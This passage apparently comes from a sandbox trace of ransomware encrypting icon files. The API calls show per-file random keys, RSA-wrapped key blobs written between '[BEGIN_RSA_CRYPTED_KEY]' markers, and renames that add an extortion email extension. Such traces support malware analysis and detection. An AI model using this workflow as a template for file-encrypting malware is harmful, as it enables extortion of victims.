hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.506] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="sw6LCv32ezYw4Ybrkgvh119e3Oxd/AG0COrYTXPYeW0Ds8CjmPVesuYNBRNeHDYV\nyQQTQ9MhtOLQTn009x+2AMuR0jqdZyR9r7rwtbh6FI7rNWgL51j2undXuNEBHYt8\noBBx9MRP6MXHMvqhftfO0cJZZmww/zR8z0SWEUo9Pz4M+mPabMuRhjQyHk+bOVvM\ntAtQKOnOCw5F/blXf00vw7arOuCZwY/+esXL+jGrAzsfZMlCFhPH70winRbiM17u\nQb7cK0teuOEe7gItvJTvcMAStsPOLfEzPkR2RuMotPZ8MbMaCXkEY2GlItlB1jEE\nC6lW0gmJ0KY1y6+JO8QzTg==\n", pcchString=0x2e3f9a8) returned 1 [0142.506] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.506] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.506] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.506] CloseHandle (hObject=0x4f0) returned 1 [0142.506] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.506] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0142.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0142.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0142.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.508] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.508] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\stop.ico", dwFileAttributes=0x80) returned 1 [0142.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0142.508] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.508] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0142.508] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.509] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10134) returned 1 [0142.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2796) returned 0x60e878 [0142.509] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2796) returned 0x611018 [0142.509] ReadFile (in: hFile=0x4f0, lpBuffer=0x60e878, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e878*, lpNumberOfBytesRead=0x2e3f9b4*=0x2796, lpOverlapped=0x0) returned 1 [0142.510] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-10134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.510] WriteFile (in: hFile=0x4f0, lpBuffer=0x611018*, nNumberOfBytesToWrite=0x2796, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x611018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2796, lpOverlapped=0x0) returned 1 [0142.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e878 | out: hHeap=0x570000) returned 1 [0142.510] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x611018 | out: hHeap=0x570000) returned 1 [0142.510] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2796 [0142.510] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.510] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="UuEqELJE9TY6BKvKYaglPS/e/aJvJ7RvBe3UXgF3yu4sTOyoiiLqpNCV7ZuKu3+w\n3HPTEEqaTK1mmmbdJF/Ck/LdfsGkmM88BrajKzGRua/HiNsKJM8YOsZR0BPdBI5F\n8iKaLwgKXzfrgcLf0et6kxh/OHm/ltyS6h5lFHdfBJjkK/JKGqXxl5KV93GoLloY\ncqClZcEhdr7v3618C7hwYGSL2/OiFzeDWyiypB2/7Ce3jj6PBZOtHvYYDk2I/7F3\nsDbYdxJkLxGnZ3gEaWmD9OmWTLgyhVAE7PdZ0Mlpiy0rtTspLDd0hJjmRd2rJiTg\n7Oe3f/h/BCDfT5IqkczuZQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.511] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.511] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.511] CloseHandle (hObject=0x4f0) returned 1 [0142.511] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.511] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\stop.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0142.512] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.512] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0142.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.513] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.513] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico", dwFileAttributes=0x80) returned 1 [0142.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0142.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.513] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.513] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.513] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=36710) returned 1 [0142.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8f66) returned 0x60e878 [0142.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8f66) returned 0x6177e8 [0142.513] ReadFile (in: hFile=0x4f0, lpBuffer=0x60e878, nNumberOfBytesToRead=0x8f66, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e878*, lpNumberOfBytesRead=0x2e3f9b4*=0x8f66, lpOverlapped=0x0) returned 1 [0142.541] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-36710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.541] WriteFile (in: hFile=0x4f0, lpBuffer=0x6177e8*, nNumberOfBytesToWrite=0x8f66, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6177e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8f66, lpOverlapped=0x0) returned 1 [0142.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e878 | out: hHeap=0x570000) returned 1 [0142.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6177e8 | out: hHeap=0x570000) returned 1 [0142.541] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8f66 [0142.541] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.542] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.542] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.542] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.542] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.542] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="1Oz3dNWsuZVSrC9kt+vhsLGIGsON8axXTUDixAZcCNBLQmXtdZXJn/meX90pFf0W\ndCq+qZwhvIWRtryl27j2YHfa6APbp1gNDq0cDk3cHyv/EhBMwWZ94SGeqX7krJqD\ntqg4uwSEwZmqz5w3ZrX6o4/VTBmH+EYShaQliTx9zeckX5sa3VLos+Wmgx+BugnE\nCIZBrb6h53vf7wPjUrrufGdiqCw4tpws320mo6jZHgBKrVo0KmDVNHLxVEmsFugj\ns/0q4zGab70Hwy1VEikcLzB1a0kLgWGaqkjLvT+Y/1QDGSaT9Bj7a7IoZ8m78l5t\n6vu/iPgf8+wpkEWqGn2bKw==\n", pcchString=0x2e3f9a8) returned 1 [0142.542] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.542] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.542] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.542] CloseHandle (hObject=0x4f0) returned 1 [0142.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.543] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Setup.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.544] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.544] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Save.ico", dwFileAttributes=0x80) returned 1 [0142.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0142.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0142.544] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.545] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1150) returned 1 [0142.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x5b5a90 [0142.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x60e878 [0142.545] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.555] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.555] WriteFile (in: hFile=0x4f0, lpBuffer=0x60e878*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e878*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.555] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e878 | out: hHeap=0x570000) returned 1 [0142.555] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47e [0142.555] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.555] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.555] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.555] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.556] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="7eZJg66KMlfKaWtwR1VdoX0khya4ak0cQ5PYdrelS4eB2W18btx0TztTHyoyKFCi\nfDUnRJRlQvk51Mi5tNMzQpvK04qmK/9T8dLfTK86Z1AG1+XMnu74WgNLSkbGvfTI\nNTPGhiv2YylAgKIj0HTsu6Aa7TKjytEm17lwb6QP5XbouKrTOYa2LTmrEym9uOPI\nRJpKmE+ZjT33sQbv7Pg3AvU5H2201A6ERBv45bAdGfgWABWPn+QyysdznHtvutZr\nsh68dLeQKxTKmYXaZwVlUPKmD7KoLrETtllvUAA8pigNFeZQwyohLO6mHVDIm2R4\n8jFkD/KLUebozxJUpj7rtg==\n", pcchString=0x2e3f9a8) returned 1 [0142.556] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.556] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.556] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.556] CloseHandle (hObject=0x4f0) returned 1 [0142.556] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.556] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Save.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.559] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.560] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.560] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico", dwFileAttributes=0x80) returned 1 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0142.560] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.560] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=894) returned 1 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5a90 [0142.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x37e) returned 0x5b5e18 [0142.560] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.585] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5e18*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x37e, lpOverlapped=0x0) returned 1 [0142.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e18 | out: hHeap=0x570000) returned 1 [0142.585] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x37e [0142.585] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.585] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.585] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.585] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.585] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.585] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="M41Mp62N+LbBn3UtnJ8HJ3qy2KumFnO4J/WFPgKShwaouKvA8hpv1nShgcErDViP\nLJhnuTkts1DQkLpFwYSZO83AHcz/ynMScNArKwL2t4eu8QKjTqStFAuiZHiY8OZK\n1W1MB9DqJ6IQhHd1cpa5rdjsv31+d27owyrVGPf6T9EH65b8UF3tczrlU/AqtE/Z\n/vDXrlW6348G+1wHTCZqtRqVOqOP+IDGbPWjpmE/5thl5VxWWvV7QgFz34jFccQF\n13mBkzV1W+uhWfPXCiGLD0M5neZOvaoYaI1GBgrhfMA4W0z6qU8I2Vp8mRgf6hG9\nN2ZwsAeBip0XaiguXhkyMg==\n", pcchString=0x2e3f9a8) returned 1 [0142.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.585] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.585] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.586] CloseHandle (hObject=0x4f0) returned 1 [0142.586] 